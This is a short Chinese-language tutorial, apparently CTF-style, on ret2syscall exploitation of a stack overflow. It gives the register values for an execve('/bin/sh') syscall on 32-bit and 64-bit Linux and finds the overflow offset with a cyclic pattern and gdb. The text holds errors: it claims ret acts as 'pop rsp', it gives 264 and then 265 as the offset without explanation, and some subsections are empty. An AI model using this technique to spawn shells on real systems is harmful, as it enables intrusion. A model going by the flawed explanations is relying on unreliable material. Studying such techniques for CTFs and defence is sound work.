stackoverflow的ret2syscall利用
ret2syscall
系统调用
ret2syscall,即控制程序执行系统调用,获取shell。Linux将内核功能接口制作为系统调用(system call),可在程序中直接调用。程序中存在int 0x80中断,通过该指令可以进行系统调用,其中可通过不同的系统调用号调用不同的系统调用。系统调用shell方式:
execve("/bin/sh",NULL,NULL)
ROP gadgets
面对32位程序时
eax:0xb ebx:bin_sh_addr ecx:0 edx:0 int 0x80
面对64位程序时
rax:59 rdi:bin_sh_addr rsi:0 rdx:0 rcx:0 syscall
溢出点
面对32位程序时
面对64位程序时
使用pattern.py来测试
$ python pattern.py create 300 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
接着利用gdb,在运行(r)后输入上述生成的字符串,此时gdb发生段错误。因为是在64位环境下,指针无法到达高地址,即不能超过0x00007fffffffffff,所以不能直接利用查看$eip的方法。但因为ret
指令,相当于pop rsp
,所以只要看一下rsp
的值,就知道跳转的地址,从而知道溢出点。
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400745 in main () at main.c:21
21 main.c: 没有那个文件或目录.
(gdb) x/gx $rsp
0x7fffffffde68: 0x6a41396941386941
$ python pattern.py offset 0x6a41396941386941
hex pattern decoded as: Ai8Ai9Aj
264
可知溢出点为264,offset=265